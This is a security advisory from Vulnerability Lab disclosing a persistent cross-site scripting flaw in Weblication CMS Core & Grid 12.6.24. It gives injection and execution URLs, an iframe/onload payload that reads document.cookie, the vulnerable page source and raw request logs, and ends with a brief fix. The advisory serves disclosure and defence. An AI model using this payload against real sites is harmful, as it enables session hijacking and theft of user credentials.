Weblication CMS Core And Grid 12.6.24 Cross Site Scripting

`Document Title:  
===============  
Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2121  
  
  
Release Date:  
=============  
2018-02-21  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2121  
  
  
Common Vulnerability Scoring System:  
====================================  
3.5  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
500a! - 1.000a!  
  
  
Product & Service Introduction:  
===============================  
https://help.weblication.de/help12/  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the official Weblication CMS Core & Grid v12.006.024 CMS.  
  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2018-02-21: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting vulnerability has been discovered in the official Weblication CMS Core & Grid v12.006.024 CMS.  
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the service to compromise   
sensitive user data or affected web-application contents.  
  
The security vulnerability is located in the `wFilemanager.php` & `index.php` files of the `/grid5/scripts/` modules. The injection   
point is located in the Project `Title` and the execution point occurs in the `Inhaltsprojekte` output listing section. Remote   
attackers with privileged user accounts are able to inject own malicious script code with persistent attack vector to compromise   
user session credentials or to manipulate the affected web-application module output context. The request method to inject is POST   
and the attack vector is reflected. The injection point is located in the project Title and the execution point occurs in the   
Inhaltsprojekte output listing section.   
  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects   
to malicious source and persistent manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable File(s):  
[+] index.php  
[+] wFilemanager.php  
  
Vulnerable Input Field(s):  
[+] Title  
  
Affected Module(s):  
[+] Inhaltsprojekte  
  
  
Proof of Concept (PoC):  
=======================  
The persistent vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
PoC Inject: Title  
https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-  
  
  
PoC Execute: Inhaltsprojekte  
https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?path=/default-wGlobal/wGlobal/content/variables/  
default.wVariables.php&target=be&selectedTab=&display=&action=startedit&referrer=%2Fde%2Findex.php&redirectEndEdit=&showFileOptions=&anchor=  
  
  
PoC: Payload  
"><iframe src="evil.source" onload=alert(document.domain)>%20"><iframe src="evil.source" onload=alert(document.cookie)></iframe></iframe>  
  
  
PoC: Vulnerable Source  
<div style="width:936px;padding-bottom:32px"><div class="headline">Projektbasis</div><div class="variableEntry"   
data-key="base_source" data-project=""><div class="cellCaption">Projekt basiert auf&nbsp;</div><div class="cellValue"   
style=""><div class="wWebtagTextEditorInput"><input id="webtag_text_639020500" name="webtag_text_639020500" data-weditortype="input"   
class="wEditorText" style="" value="default/0.9.latest" tabindex=""></div></div><div class="cellKey">base_source</div></div>  
<div class="variableEntry" data-key="base_sources_additional" data-project=""><div class="cellCaption">ZusA$?tzliche Weblics Quellen&nbsp;</div>  
<div class="cellValue" style=""><div class="wWebtagTextEditorInput"><input id="webtag_text_961851163" name="webtag_text_961851163"   
data-weditortype="input" class="wEditorText" style="" value="" tabindex=""></div></div><div class="cellKey">base_sources_additional</div></div>  
<div class="info">z.B. password@http://IHREDOMAIN/vorlageprojekt</div><div class="headline">Inhaltsprojekte</div><div class="cellCaption">  
&nbsp;</div><div class="cellValue"><div style="padding-bottom:8px"><div class="wui-button wui-button-options" style="cursor:pointer"   
onclick="showMaskEditProjectOptions('/de')"><div style="line-height:15px"><span>/de <span style="color:#888888">Inhalte</span></span></div></div>  
<div class="wui-button wui-button-options" style="cursor:pointer" onclick="showMaskEditProjectOptions('/img-src-x-img-img-src-x-img-')">  
<div style="line-height:15px"><span>/img-src-x-img-img-src-x-img-   
<span style="color:#888888">"><iframe src="evil.source" onload="alert(document.domain)">%20"><iframe src="evil.source" onload=alert(document.cookie)></span>  
</div></div></div></div><div class="cellKey"> </div><div class="info">Neben den globalen Projekteinstellungen kAPnnen Sie weitere Einstellungen in   
den jeweiligen Inhalts- bzw. Sprachprojekten vornehmen.</div><div class="headline">Logo</div><div class="variableEntry" data-key="logo_src"   
data-project=""><div class="cellCaption">Logo </div>  
  
  
PoC: Session Logs  
Status: 200[OK]  
POST https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-   
Mime Type[text/html]  
Request Header:  
Host[grid.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Content-Type[application/x-www-form-urlencoded]  
Content-Length[596]  
Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-]  
Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000]  
Connection[keep-alive]  
Upgrade-Insecure-Requests[1]  
POST-Daten:  
action[editOptionsProject]  
path[%2Fimg-src-x-img-img-src-x-img-]  
title[%22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.domain%29%3E%2520%  
22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.cookie%29%3E]  
pathProjectGlobal[%2Fdefault-wGlobal]  
pathProjectLayout[]  
language[br]  
projectConnect[%2Fimg-src-x-img-img-src-x-img-]  
hostOnly[]  
pageOffline[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Foffline.php]  
permissionDenied[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Fpermission-denied.php]  
W_PRETMP_groups%5B%5D[%5BW_ID%5D]  
backupGroup[]  
Response Header:  
Server[Apache/2.4.27]  
X-Powered-By[PHP/7.0.20]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-store, no-cache, must-revalidate]  
Vary[Accept-Encoding]  
Keep-Alive[timeout=5, max=100]  
Connection[Keep-Alive]  
Transfer-Encoding[chunked]  
Content-Type[text/html; charset=UTF-8]  
-  
Status: 200[OK]  
GET https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-   
Mime Type[text/html]  
Request Header:  
Host[grid.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Referer[https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?action=showfileedit&path=/default-wGlobal/  
wGlobal/content/variables/default.wVariables.php&target=be&referrer=/de/index.php&display=default&editsource=&hasPlaceholdersToInsert=0]  
Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000]  
Connection[keep-alive]  
Upgrade-Insecure-Requests[1]  
Response Header:  
Server[Apache/2.4.27]  
X-Powered-By[PHP/7.0.20]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-store, no-cache, must-revalidate]  
Pragma[no-cache]  
Content-Encoding[gzip]  
Vary[Accept-Encoding]  
Keep-Alive[timeout=5, max=97]  
Connection[Keep-Alive]  
Transfer-Encoding[chunked]  
Content-Type[text/html; charset=UTF-8]  
-  
Status: 200[OK]  
GET https://grid.localhost:8080/weblication/grid5/scripts/wEventmanager.php?action=showEvents&path=/img-src-x-img-img-src-x-img-&type=project&target=embed   
Mime Type[text/html]  
Request Header:  
Host[grid.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-]  
Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000]  
Connection[keep-alive]  
Upgrade-Insecure-Requests[1]  
Response Header:  
Server[Apache/2.4.27]  
X-Powered-By[PHP/7.0.20]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-store, no-cache, must-revalidate]  
Pragma[no-cache]  
Keep-Alive[timeout=5, max=96]  
Connection[Keep-Alive]  
Transfer-Encoding[chunked]  
Content-Type[text/html; charset=UTF-8]  
  
  
Reference(s):  
https://grid.localhost:8080/  
https://grid.localhost:8080/weblication/  
https://grid.localhost:8080/weblication/grid5/  
https://grid.localhost:8080/weblication/grid5/scripts/  
https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be resolved by a sanitize of the delivered input through the wFilemanager.php file.  
Parse in the output location the execution point in the Inhaltsprojekte to resolve the issue.  
  
  
Security Risk:  
==============  
The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium (cvss 3.5).  
  
  
  
Credits & Authors:  
==================  
Benjamin K.M. [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.  
  
  
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=========================  
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